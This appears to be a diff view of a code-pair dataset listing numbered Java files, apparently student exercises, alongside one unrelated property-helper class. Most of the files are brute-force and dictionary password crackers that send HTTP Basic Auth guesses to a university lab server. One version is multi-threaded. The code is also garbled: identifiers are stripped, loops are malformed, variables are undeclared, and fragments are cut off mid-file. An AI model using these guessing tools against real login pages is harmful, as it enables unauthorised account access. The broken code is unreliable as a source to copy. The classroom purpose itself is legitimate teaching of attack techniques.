1499 |
+
Dictionary newDo = new Dictionary();
|
1500 |
+
newDo.setTimeTaken(runTime1);
|
1501 |
+
newDo. getPassword();
|
1502 |
+
String site = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
|
1503 |
+
newDo.doConnect(site, 0);
|
1504 |
+
|
1505 |
+
}
|
1506 |
+
|
1507 |
+
}
|
1508 |
+
|
1509 |
+
class Base64Converter
|
1510 |
+
{
|
1511 |
+
|
1512 |
+
public final char [ ] alphabet = {
|
1513 |
+
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
|
1514 |
+
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
|
1515 |
+
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
|
1516 |
+
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
|
1517 |
+
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
|
1518 |
+
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
|
1519 |
+
'w', 'x', 'y', 'z', '0', '1', '2', '3',
|
1520 |
+
'4', '5', '6', '7', '8', '9', '+', '/' };
|
1521 |
+
|
1522 |
+
|
1523 |
+
public String encode ( String s )
|
1524 |
+
{
|
1525 |
+
return encode ( s.getBytes ( ) );
|
1526 |
+
}
|
1527 |
+
|
1528 |
+
public String encode ( byte [ ] octetString )
|
1529 |
+
{
|
1530 |
+
int bits24;
|
1531 |
+
int bits6;
|
1532 |
+
|
1533 |
+
char [ ] out
|
1534 |
+
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
|
1535 |
+
|
1536 |
+
int outIndex = 0;
|
1537 |
+
int i = 0;
|
1538 |
+
|
1539 |
+
while ( ( i + 3 ) <= octetString.length ) {
|
1540 |
+
|
1541 |
+
bits24=( octetString [ i++ ] & 0xFF ) << 16;
|
1542 |
+
bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
|
1543 |
+
|
1544 |
+
bits6=( bits24 & 0x00FC0000 )>> 18;
|
1545 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
1546 |
+
bits6 = ( bits24 & 0x0003F000 ) >> 12;
|
1547 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
1548 |
+
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
|
1549 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
1550 |
+
bits6 = ( bits24 & 0x0000003F );
|
1551 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
1552 |
+
}
|
1553 |
+
|
1554 |
+
if ( octetString.length - i == 2 )
|
1555 |
+
{
|
1556 |
+
|
1557 |
+
bits24 = ( octetString [ i ] & 0xFF ) << 16;
|
1558 |
+
bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
|
1559 |
+
bits6=( bits24 & 0x00FC0000 )>> 18;
|
1560 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
1561 |
+
bits6 = ( bits24 & 0x0003F000 ) >> 12;
|
1562 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
1563 |
+
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
|
1564 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
1565 |
+
|
1566 |
+
|
1567 |
+
out [ outIndex++ ] = '=';
|
1568 |
+
}
|
1569 |
+
else if ( octetString.length - i == 1 )
|
1570 |
+
{
|
1571 |
+
|
1572 |
+
bits24 = ( octetString [ i ] & 0xFF ) << 16;
|
1573 |
+
bits6=( bits24 & 0x00FC0000 )>> 18;
|
1574 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
1575 |
+
bits6 = ( bits24 & 0x0003F000 ) >> 12;
|
1576 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
1577 |
+
|
1578 |
+
|
1579 |
+
out [ outIndex++ ] = '=';
|
1580 |
+
out [ outIndex++ ] = '=';
|
1581 |
+
}
|
1582 |
+
|
1583 |
+
return new String ( out );
|
1584 |
+
}
|
1585 |
+
}
|
1586 |
+
|
1587 |
+
|
1588 |
+
" "257.java 258.java"
|
1589 |
+
030.java "
|
1590 |
+
import java.awt.*;
|
1591 |
+
import java.util.*;
|
1592 |
+
import java.awt.event.*;
|
1593 |
+
import java.io.*;
|
1594 |
+
import java.net.*;
|
1595 |
+
|
1596 |
+
public class BruteForce
|
1597 |
+
{
|
1598 |
+
private String userPassword;
|
1599 |
+
private static int counter;
|
1600 |
+
|
1601 |
+
|
1602 |
+
|
1603 |
+
|
1604 |
+
|
1605 |
+
public BruteForce(String username)
|
1606 |
+
{
|
1607 |
+
String user;
|
1608 |
+
String password;
|
1609 |
+
counter = 0;
|
1610 |
+
user = username;
|
1611 |
+
|
1612 |
+
|
1613 |
+
for (char i='A';i<='z';i++)
|
1614 |
+
{
|
1615 |
+
if (i == 'Z')
|
1616 |
+
i = 'a';
|
1617 |
+
|
1618 |
+
for (char j='A';j<='z';j++)
|
1619 |
+
{
|
1620 |
+
if (j == 'Z')
|
1621 |
+
j = 'a';
|
1622 |
+
|
1623 |
+
for (char k='A';k<='z';k++)
|
1624 |
+
{
|
1625 |
+
userPassword = user+ "":"" + i + j + k;
|
1626 |
+
|
1627 |
+
if (k == 'Z')
|
1628 |
+
k = 'a';
|
1629 |
+
|
1630 |
+
System.out.print(""."");
|
1631 |
+
|
1632 |
+
if (doEncoding(userPassword)== true)
|
1633 |
+
{
|
1634 |
+
System.out.println(""\n"" + ""Resultant Password is: "" + i + j + k);
|
1635 |
+
return;
|
1636 |
+
};
|
1637 |
+
|
1638 |
+
counter++;
|
1639 |
+
}
|
1640 |
+
}
|
1641 |
+
}
|
1642 |
+
}
|
1643 |
+
|
1644 |
+
|
1645 |
+
|
1646 |
+
|
1647 |
+
|
1648 |
+
private boolean doEncoding(String userPassword)
|
1649 |
+
{
|
1650 |
+
String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes());
|
1651 |
+
return doAttempt(encoding);
|
1652 |
+
}
|
1653 |
+
|
1654 |
+
|
1655 |
+
|
1656 |
+
|
1657 |
+
|
1658 |
+
private boolean doAttempt (String encoding)
|
1659 |
+
{
|
1660 |
+
try
|
1661 |
+
{
|
1662 |
+
URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/"");
|
1663 |
+
|
1664 |
+
URLConnection uc = url.openConnection();
|
1665 |
+
uc.setDoInput(true);
|
1666 |
+
uc.setDoOutput(true);
|
1667 |
+
|
1668 |
+
uc.setRequestProperty (""Get"", ""/SEC/2/ "" + ""HTTP/1.1"");
|
1669 |
+
uc.setRequestProperty (""Host"", ""sec-crack.cs.rmit.edu."");
|
1670 |
+
uc.setRequestProperty (""Authorization"", "" "" + encoding);
|
1671 |
+
|
1672 |
+
return uc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK"");
|
1673 |
+
}
|
1674 |
+
catch (MalformedURLException e)
|
1675 |
+
{
|
1676 |
+
System.out.println (""Invalid URL"");
|
1677 |
+
}
|
1678 |
+
catch (IOException e)
|
1679 |
+
{
|
1680 |
+
System.out.println (e.toString() );
|
1681 |
+
}
|
1682 |
+
|
1683 |
+
return false;
|
1684 |
+
}
|
1685 |
+
|
1686 |
+
|
1687 |
+
|
1688 |
+
|
1689 |
+
|
1690 |
+
public static void main(String args[])
|
1691 |
+
{
|
1692 |
+
Date sdate = new Date();
|
1693 |
+
|
1694 |
+
System.out.print(""BruteForce Attack starts at:"" + sdate + ""\n"");
|
1695 |
+
|
1696 |
+
BruteForce bf = new BruteForce(args[0]);
|
1697 |
+
|
1698 |
+
Date edate = new Date();
|
1699 |
+
System.out.print(""BruteForce Attack ends at:"" + sdate + ""\n"");
|
1700 |
+
System.out.println(""Time taken by BruteForce is : "" + (edate.getTime() - sdate.getTime())/1000 + "" seconds \n"");
|
1701 |
+
System.out.print(""Attempts in this session:"" + counter + ""\n""); }
|
1702 |
+
}
|
1703 |
+
|
1704 |
+
|
1705 |
+
|
1706 |
+
|
1707 |
+
" 032.java
|
1708 |
+
175.java "import java.io.*;
|
1709 |
+
import java.net.*;
|
1710 |
+
import java.util.*;
|
1711 |
+
|
1712 |
+
|
1713 |
+
public class BruteForce
|
1714 |
+
{
|
1715 |
+
|
1716 |
+
public static void main(String args[])
|
1717 |
+
{
|
1718 |
+
|
1719 |
+
|
1720 |
+
Calendar cal = Calendar.getInstance();
|
1721 |
+
Date now=cal.getTime();
|
1722 |
+
double startTime = now.getTime();
|
1723 |
+
|
1724 |
+
String password=getPassword(startTime);
|
1725 |
+
System.out.println(""The password is "" + password);
|
1726 |
+
}
|
1727 |
+
|
1728 |
+
public static String getPassword(double startTime)
|
1729 |
+
{
|
1730 |
+
char first, second, third;
|
1731 |
+
String password="""";
|
1732 |
+
int requests=0;
|
1733 |
+
|
1734 |
+
|
1735 |
+
for (int i=65; i<123; i++)
|
1736 |
+
{
|
1737 |
+
requests++;
|
1738 |
+
first = (char) i;
|
1739 |
+
|
1740 |
+
password = first + """";
|
1741 |
+
|
1742 |
+
|
1743 |
+
if (testPassword(password, startTime, requests))
|
1744 |
+
return password;
|
1745 |
+
|
1746 |
+
for (int j=65; j<123; j++)
|
1747 |
+
{
|
1748 |
+
requests++;
|
1749 |
+
second = (char) j;
|
1750 |
+
|
1751 |
+
password = first + """" + second;
|
1752 |
+
|
1753 |
+
|
1754 |
+
if (testPassword(password, startTime, requests))
|
1755 |
+
return password;
|
1756 |
+
|
1757 |
+
for (int k=65; k<123; k++)
|
1758 |
+
{
|
1759 |
+
requests++;
|
1760 |
+
third = (char) k;
|
1761 |
+
|
1762 |
+
password = first + """" + second + """" + third;
|
1763 |
+
|
1764 |
+
|
1765 |
+
if (testPassword(password, startTime, requests))
|
1766 |
+
return password;
|
1767 |
+
|
1768 |
+
|
1769 |
+
|
1770 |
+
if (k==90)
|
1771 |
+
k=96;
|
1772 |
+
|
1773 |
+
}
|
1774 |
+
|
1775 |
+
if (j==90)
|
1776 |
+
j=96;
|
1777 |
+
|
1778 |
+
}
|
1779 |
+
|
1780 |
+
if (i==90)
|
1781 |
+
i=96;
|
1782 |
+
|
1783 |
+
}
|
1784 |
+
|
1785 |
+
return password;
|
1786 |
+
}
|
1787 |
+
|
1788 |
+
private static boolean testPassword(String password, double startTime, int requests)
|
1789 |
+
{
|
1790 |
+
try
|
1791 |
+
{
|
1792 |
+
|
1793 |
+
|
1794 |
+
URL url=new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
|
1795 |
+
|
1796 |
+
HttpURLConnection connection;
|
1797 |
+
|
1798 |
+
String userPassword = "":"" + password;
|
1799 |
+
|
1800 |
+
|
1801 |
+
String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
|
1802 |
+
|
1803 |
+
try
|
1804 |
+
{
|
1805 |
+
|
1806 |
+
connection = (HttpURLConnection) url.openConnection();
|
1807 |
+
|
1808 |
+
connection.setRequestProperty(""Authorization"", "" "" + encoding);
|
1809 |
+
|
1810 |
+
|
1811 |
+
int status=connection.getResponseCode();
|
1812 |
+
|
1813 |
+
System.out.println(password + requests);
|
1814 |
+
|
1815 |
+
if (status==200)
|
1816 |
+
{
|
1817 |
+
System.out.println(""It took "" + getTime(startTime) + "" milliseconds find the password."");
|
1818 |
+
System.out.println("" were "" + requests + "" requests ."");
|
1819 |
+
|
1820 |
+
return true;
|
1821 |
+
}
|
1822 |
+
|
1823 |
+
return false;
|
1824 |
+
|
1825 |
+
}
|
1826 |
+
|
1827 |
+
catch (IOException ioe)
|
1828 |
+
{
|
1829 |
+
System.out.print(ioe);
|
1830 |
+
return false;
|
1831 |
+
}
|
1832 |
+
|
1833 |
+
}
|
1834 |
+
|
1835 |
+
catch (IOException MalformedURLException)
|
1836 |
+
{
|
1837 |
+
System.out.print(""Invalid URL"");
|
1838 |
+
return false;
|
1839 |
+
}
|
1840 |
+
}
|
1841 |
+
|
1842 |
+
|
1843 |
+
private static double getTime(double startTime)
|
1844 |
+
{
|
1845 |
+
|
1846 |
+
|
1847 |
+
Calendar cal = Calendar.getInstance();
|
1848 |
+
Date now=cal.getTime();
|
1849 |
+
double endTime = now.getTime();
|
1850 |
+
|
1851 |
+
return endTime-startTime;
|
1852 |
+
|
1853 |
+
}
|
1854 |
+
|
1855 |
+
}
|
1856 |
+
" 180.java
|
1857 |
+
238.java "
|
1858 |
+
import java.util.*;
|
1859 |
+
import java.io.*;
|
1860 |
+
import java.net.*;
|
1861 |
+
|
1862 |
+
class BruteForce
|
1863 |
+
{
|
1864 |
+
|
1865 |
+
public static void main (String a[])
|
1866 |
+
{
|
1867 |
+
|
1868 |
+
final char [] alphabet = {
|
1869 |
+
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
|
1870 |
+
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
|
1871 |
+
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
|
1872 |
+
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
|
1873 |
+
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
|
1874 |
+
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
|
1875 |
+
'w', 'x', 'y', 'z'};
|
1876 |
+
|
1877 |
+
String pwd="""";
|
1878 |
+
|
1879 |
+
for(int i=0;i<52;i++)
|
1880 |
+
{
|
1881 |
+
for(int j=0;j<52;j++)
|
1882 |
+
{
|
1883 |
+
for(int k=0;k<52;k++)
|
1884 |
+
{
|
1885 |
+
pwd = alphabet[i]+""""+alphabet[j]+""""+alphabet[k];
|
1886 |
+
String userPassword = "":""+pwd;
|
1887 |
+
RealThread myTh = new RealThread(i,userPassword);
|
1888 |
+
Thread th = new Thread( myTh );
|
1889 |
+
th.start();
|
1890 |
+
try
|
1891 |
+
{
|
1892 |
+
|
1893 |
+
|
1894 |
+
th.sleep(100);
|
1895 |
+
}
|
1896 |
+
catch(Exception e)
|
1897 |
+
{}
|
1898 |
+
}
|
1899 |
+
}
|
1900 |
+
}
|
1901 |
+
|
1902 |
+
|
1903 |
+
}
|
1904 |
+
|
1905 |
+
|
1906 |
+
}
|
1907 |
+
|
1908 |
+
|
1909 |
+
class RealThread implements Runnable
|
1910 |
+
{
|
1911 |
+
private int num;
|
1912 |
+
private URL url;
|
1913 |
+
private HttpURLConnection uc =null;
|
1914 |
+
private String userPassword;
|
1915 |
+
private int responseCode = 100;
|
1916 |
+
public RealThread (int i, String userPassword)
|
1917 |
+
{
|
1918 |
+
try
|
1919 |
+
{
|
1920 |
+
url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
|
1921 |
+
}
|
1922 |
+
catch(Exception ex1)
|
1923 |
+
{
|
1924 |
+
}
|
1925 |
+
num = i;
|
1926 |
+
this.userPassword = userPassword;
|
1927 |
+
|
1928 |
+
}
|
1929 |
+
|
1930 |
+
public int getResponseCode()
|
1931 |
+
{
|
1932 |
+
|
1933 |
+
return this.responseCode;
|
1934 |
+
}
|
1935 |
+
|
1936 |
+
public void run()
|
1937 |
+
{
|
1938 |
+
try
|
1939 |
+
{
|
1940 |
+
String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
|
1941 |
+
|
1942 |
+
uc = (HttpURLConnection)url.openConnection();
|
1943 |
+
uc.setRequestProperty (""Authorization"", "" "" + encoding);
|
1944 |
+
System.out.println(""Reponse = ""+uc.getResponseCode()+""for pwd = ""+userPassword);
|
1945 |
+
this.responseCode = uc.getResponseCode();
|
1946 |
+
|
1947 |
+
if(uc.getResponseCode()==200)
|
1948 |
+
{
|
1949 |
+
System.out.println("" ======= Password Found : ""+userPassword+"" ========================================= "");
|
1950 |
+
System.exit(0);
|
1951 |
+
}
|
1952 |
+
|
1953 |
+
}
|
1954 |
+
catch (Exception e) {
|
1955 |
+
System.out.println(""Could not execute Thread ""+num+"" "");
|
1956 |
+
}
|
1957 |
+
}
|
1958 |
+
|
1959 |
+
}
|
1960 |
+
" 240.java
|
1961 |
+
153.java "import java.io.*;
|
1962 |
+
import java.net.*;
|
1963 |
+
|
1964 |
+
public class BruteForce {
|
1965 |
+
public static void main(String[] args) {
|
1966 |
+
BruteForce brute=new BruteForce();
|
1967 |
+
brute.start();
|
1968 |
+
|
1969 |
+
|
1970 |
+
}
|
1971 |
+
|
1972 |
+
|
1973 |
+
public void start() {
|
1974 |
+
char passwd[]= new char[3];
|
1975 |
+
String password;
|
1976 |
+
String username="""";
|
1977 |
+
String auth_data;
|
1978 |
+
String server_res_code;
|
1979 |
+
String required_server_res_code=""200"";
|
1980 |
+
int cntr=0;
|
1981 |
+
|
1982 |
+
try {
|
1983 |
+
|
1984 |
+
URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
|
1985 |
+
URLConnection conn=null;
|
1986 |
+
|
1987 |
+
|
1988 |
+
for (int i=65;i<=122;i++) {
|
1989 |
+
if(i==91) { i=i+6; }
|
1990 |
+
passwd[0]= (char) i;
|
1991 |
+
|
1992 |
+
for (int j=65;j<=122;j++) {
|
1993 |
+
if(j==91) { j=j+6; }
|
1994 |
+
passwd[1]=(char) j;
|
1995 |
+
|
1996 |
+
for (int k=65;k<=122;k++) {
|
1997 |
+
if(k==91) { k=k+6; }
|
1998 |
+
passwd[2]=(char) k;
|
1999 |
+
password=new String(passwd);
|
2000 |
+
password=password.trim();
|
2001 |
+
auth_data=null;
|
2002 |
+
auth_data=username + "":"" + password;
|
2003 |
+
auth_data=auth_data.trim();
|
2004 |
+
auth_data=getBasicAuthData(auth_data);
|
2005 |
+
auth_data=auth_data.trim();
|
2006 |
+
conn=url.openConnection();
|
2007 |
+
conn.setDoInput (true);
|
2008 |
+
conn.setDoOutput(true);
|
2009 |
+
conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1"");
|
2010 |
+
conn.setRequestProperty (""Authorization"", auth_data);
|
2011 |
+
server_res_code=conn.getHeaderField(0);
|
2012 |
+
server_res_code=server_res_code.substring(9,12);
|
2013 |
+
server_res_code.trim();
|
2014 |
+
cntr++;
|
2015 |
+
System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + "" SERVER RESPONSE : "" + server_res_code);
|
2016 |
+
if( server_res_code.compareTo(required_server_res_code)==0 )
|
2017 |
+
{System.out.println(""PASSWORD IS : "" + password + "" SERVER RESPONSE : "" + server_res_code );
|
2018 |
+
i=j=k=123;}
|
2019 |
+
}
|
2020 |
+
|
2021 |
+
}
|
2022 |
+
|
2023 |
+
}
|
2024 |
+
}
|
2025 |
+
catch (Exception e) {
|
2026 |
+
System.err.print(e);
|
2027 |
+
}
|
2028 |
+
}
|
2029 |
+
|
2030 |
+
public String getBasicAuthData (String getauthdata) {
|
2031 |
+
|
2032 |
+
char base64Array [] = {
|
2033 |
+
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
|
2034 |
+
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
|
2035 |
+
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
|
2036 |
+
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
|
2037 |
+
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
|
2038 |
+
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
|
2039 |
+
'w', 'x', 'y', 'z', '0', '1', '2', '3',
|
2040 |
+
'4', '5', '6', '7', '8', '9', '+', '/' } ;
|
2041 |
+
|
2042 |
+
String encodedString = """";
|
2043 |
+
byte bytes [] = getauthdata.getBytes ();
|
2044 |
+
int i = 0;
|
2045 |
+
int pad = 0;
|
2046 |
+
while (i < bytes.length) {
|
2047 |
+
byte b1 = bytes [i++];
|
2048 |
+
byte b2;
|
2049 |
+
byte b3;
|
2050 |
+
if (i >= bytes.length) {
|
2051 |
+
b2 = 0;
|
2052 |
+
b3 = 0;
|
2053 |
+
pad = 2;
|
2054 |
+
}
|
2055 |
+
else {
|
2056 |
+
b2 = bytes [i++];
|
2057 |
+
if (i >= bytes.length) {
|
2058 |
+
b3 = 0;
|
2059 |
+
pad = 1;
|
2060 |
+
}
|
2061 |
+
else
|
2062 |
+
b3 = bytes [i++];
|
2063 |
+
}
|
2064 |
+
byte c1 = (byte)(b1 >> 2);
|
2065 |
+
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
|
2066 |
+
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
|
2067 |
+
byte c4 = (byte)(b3 & 0x3f);
|
2068 |
+
encodedString += base64Array [c1];
|
2069 |
+
encodedString += base64Array [c2];
|
2070 |
+
switch (pad) {
|
2071 |
+
case 0:
|
2072 |
+
encodedString += base64Array [c3];
|
2073 |
+
encodedString += base64Array [c4];
|
2074 |
+
break;
|
2075 |
+
case 1:
|
2076 |
+
encodedString += base64Array [c3];
|
2077 |
+
encodedString += ""="";
|
2078 |
+
break;
|
2079 |
+
case 2:
|
2080 |
+
encodedString += ""=="";
|
2081 |
+
break;
|
2082 |
+
}
|
2083 |
+
}
|
2084 |
+
return "" "" + encodedString;
|
2085 |
+
}
|
2086 |
+
}" 222.java
|
2087 |
+
222.java "
|
2088 |
+
|
2089 |
+
import java.net.*;
|
2090 |
+
import java.io.*;
|
2091 |
+
|
2092 |
+
public class Base64Encoder
|
2093 |
+
{
|
2094 |
+
private final static char base64Array [] = {
|
2095 |
+
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
|
2096 |
+
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
|
2097 |
+
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
|
2098 |
+
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
|
2099 |
+
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
|
2100 |
+
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
|
2101 |
+
'w', 'x', 'y', 'z', '0', '1', '2', '3',
|
2102 |
+
'4', '5', '6', '7', '8', '9', '+', '/'
|
2103 |
+
};
|
2104 |
+
|
2105 |
+
public static String encode (String string)
|
2106 |
+
{
|
2107 |
+
String encodedString = """";
|
2108 |
+
byte bytes [] = string.getBytes ();
|
2109 |
+
int i = 0;
|
2110 |
+
int pad = 0;
|
2111 |
+
while (i < bytes.length)
|
2112 |
+
{
|
2113 |
+
byte b1 = bytes [i++];
|
2114 |
+
byte b2;
|
2115 |
+
byte b3;
|
2116 |
+
if (i >= bytes.length)
|
2117 |
+
{
|
2118 |
+
b2 = 0;
|
2119 |
+
b3 = 0;
|
2120 |
+
pad = 2;
|
2121 |
+
}
|
2122 |
+
else
|
2123 |
+
{
|
2124 |
+
b2 = bytes [i++];
|
2125 |
+
if (i >= bytes.length)
|
2126 |
+
{
|
2127 |
+
b3 = 0;
|
2128 |
+
pad = 1;
|
2129 |
+
}
|
2130 |
+
else
|
2131 |
+
b3 = bytes [i++];
|
2132 |
+
}
|
2133 |
+
|
2134 |
+
byte c1 = (byte)(b1 >> 2);
|
2135 |
+
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
|
2136 |
+
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
|
2137 |
+
byte c4 = (byte)(b3 & 0x3f);
|
2138 |
+
encodedString += base64Array [c1];
|
2139 |
+
encodedString += base64Array [c2];
|
2140 |
+
switch (pad)
|
2141 |
+
{
|
2142 |
+
case 0:
|
2143 |
+
encodedString += base64Array [c3];
|
2144 |
+
encodedString += base64Array [c4];
|
2145 |
+
break;
|
2146 |
+
case 1:
|
2147 |
+
encodedString += base64Array [c3];
|
2148 |
+
encodedString += ""="";
|
2149 |
+
break;
|
2150 |
+
case 2:
|
2151 |
+
encodedString += ""=="";
|
2152 |
+
break;
|
2153 |
+
}
|
2154 |
+
}
|
2155 |
+
return encodedString;
|
2156 |
+
}
|
2157 |
+
}
|
2158 |
+
" "153.java 087.java 155.java"
|
2159 |
+
107.java "
|
2160 |
+
|
2161 |
+
|
2162 |
+
import java.io.InputStream;
|
2163 |
+
import java.util.Properties;
|
2164 |
+
|
2165 |
+
import javax.naming.Context;
|
2166 |
+
import javax.naming.InitialContext;
|
2167 |
+
import javax.rmi.PortableRemoteObject;
|
2168 |
+
import javax.sql.DataSource;
|
2169 |
+
|
2170 |
+
|
2171 |
+
|
2172 |
+
|
2173 |
+
|
2174 |
+
public class WatchdogPropertyHelper {
|
2175 |
+
|
2176 |
+
private static Properties testProps;
|
2177 |
+
|
2178 |
+
|
2179 |
+
|
2180 |
+
public WatchdogPropertyHelper() {
|
2181 |
+
}
|
2182 |
+
|
2183 |
+
|
2184 |
+
|
2185 |
+
|
2186 |
+
public static String getProperty(String pKey){
|
2187 |
+
try{
|
2188 |
+
initProps();
|
2189 |
+
}
|
2190 |
+
catch(Exception e){
|
2191 |
+
System.err.println(""Error init'ing the watchddog Props"");
|
2192 |
+
e.printStackTrace();
|
2193 |
+
}
|
2194 |
+
return testProps.getProperty(pKey);
|
2195 |
+
}
|
2196 |
+
|
2197 |
+
|
2198 |
+
private static void initProps() throws Exception{
|
2199 |
+
if(testProps == null){
|
2200 |
+
testProps = new Properties();
|
2201 |
+
|
2202 |
+
InputStream fis =
|
2203 |
+
WatchdogPropertyHelper.class.getResourceAsStream(""/watchdog.properties"");
|
2204 |
+
testProps.load(fis);
|
2205 |
+
}
|
2206 |
+
}
|
2207 |
+
}
|
2208 |
+
" 113.java
|
2209 |
+
044.java "import java.net.*;
|
2210 |
+
import java.io.*;
|
2211 |
+
|
2212 |
+
|
2213 |
+
public class Dictionary {
|
2214 |
+
private String strUserName;
|
2215 |
+
private String strURL;
|
2216 |
+
private String strDictPath;
|
2217 |
+
private int iAttempts;
|
2218 |
+
|
2219 |
+
|
2220 |
+
public Dictionary(String strURL,String strUserName,String strDictPath) {
|
2221 |
+
this.strURL = strURL;
|
2222 |
+
this.strUserName = strUserName;
|
2223 |
+
this.iAttempts = 0 ;
|
2224 |
+
this.strDictPath = strDictPath;
|
2225 |
+
}
|
2226 |
+
|
2227 |
+
|
2228 |
+
public String getPassword(){
|
2229 |
+
URL u;
|
2230 |
+
String result ="""";
|
2231 |
+
PassGenDict PG = new PassGenDict(3,strDictPath);
|
2232 |
+
URLConnection uc;
|
2233 |
+
String strPassword = new String();
|
2234 |
+
String strEncode;
|
2235 |
+
try{
|
2236 |
+
while (result.compareTo(""HTTP/1.1 200 OK"")!=0){
|
2237 |
+
|
2238 |
+
strEncode = PG.getNewPassword();
|
2239 |
+
u = new URL(strURL);
|
2240 |
+
uc = u.openConnection();
|
2241 |
+
uc.setDoInput(true);
|
2242 |
+
uc.setDoOutput(true);
|
2243 |
+
strPassword = strEncode;
|
2244 |
+
strEncode = strUserName + "":"" + strEncode;
|
2245 |
+
|
2246 |
+
strEncode = new String(Base64.encode(strEncode.getBytes()));
|
2247 |
+
uc.setRequestProperty(""Authorization"","" "" + strEncode);
|
2248 |
+
|
2249 |
+
result = uc.getHeaderField(0);
|
2250 |
+
uc = null;
|
2251 |
+
u = null;
|
2252 |
+
iAttempts++;
|
2253 |
+
}
|
2254 |
+
|
2255 |
+
}
|
2256 |
+
catch (Exception me) {
|
2257 |
+
System.out.println(""MalformedURLException: ""+me);
|
2258 |
+
}
|
2259 |
+
return(strPassword);
|
2260 |
+
}
|
2261 |
+
|
2262 |
+
public int getAttempts(){
|
2263 |
+
return (iAttempts);
|
2264 |
+
};
|
2265 |
+
|
2266 |
+
public static void main(String arg[]){
|
2267 |
+
timeStart = 0;
|
2268 |
+
timeEnd = 0;
|
2269 |
+
|
2270 |
+
if (arg.length == 3) {
|
2271 |
+
Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]);
|
2272 |
+
|
2273 |
+
System.out.println(""Processing ... "");
|
2274 |
+
timeStart = System.currentTimeMillis();
|
2275 |
+
System.out.println(""Password = "" + BF.getPassword());
|
2276 |
+
timeEnd = System.currentTimeMillis();
|
2277 |
+
System.out.println(""Total Time Taken = "" + (timeEnd - timeStart) + "" (msec)"");
|
2278 |
+
System.out.println(""Total Attempts = "" + BF.getAttempts());
|
2279 |
+
}
|
2280 |
+
else {
|
2281 |
+
System.out.println(""[Usage] java BruteForce <URL> <USERNAME> <Dictionary path>"");
|
2282 |
+
|
2283 |
+
}
|
2284 |
+
|
2285 |
+
}
|
2286 |
+
}
|
2287 |
+
|
2288 |
+
|
2289 |
+
class PassGenDict {
|
2290 |
+
|
2291 |
+
private char[] password;
|
2292 |
+
private String line;
|
2293 |
+
int iPassLenght;
|
2294 |
+
private BufferedReader inputFile;
|
2295 |
+
public PassGenDict(int lenght, String strDictPath) {
|
2296 |
+
try{
|
2297 |
+
inputFile = new BufferedReader(new FileReader(strDictPath));
|
2298 |
+
}
|
2299 |
+
catch (Exception e){
|
2300 |
+
}
|
2301 |
+
iPassLenght = lenght;
|
2302 |
+
}
|
2303 |
+
|
2304 |
+
public String getNewPassword()
|
2305 |
+
throws PasswordFailureException{
|
2306 |
+
try {
|
2307 |
+
{
|
2308 |
+
line = inputFile.readLine();
|
2309 |
+
}while (line.length() != iPassLenght);
|
2310 |
+
|
2311 |
+
}
|
2312 |
+
catch (Exception e){
|
2313 |
+
throw new PasswordFailureException ();
|
2314 |
+
}
|
2315 |
+
return (line);
|
2316 |
+
}
|
2317 |
+
}
|
2318 |
+
|
2319 |
+
class PasswordFailureException extends RuntimeException {
|
2320 |
+
|
2321 |
+
public PasswordFailureException() {
|
2322 |
+
}
|
2323 |
+
}" 042.java
|
2324 |
+
222.java "
|
2325 |
+
|
2326 |
+
import java.net.*;
|
2327 |
+
import java.io.*;
|
2328 |
+
|
2329 |
+
public class Base64Encoder
|
2330 |
+
{
|
2331 |
+
private final static char base64Array [] = {
|
2332 |
+
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
|
2333 |
+
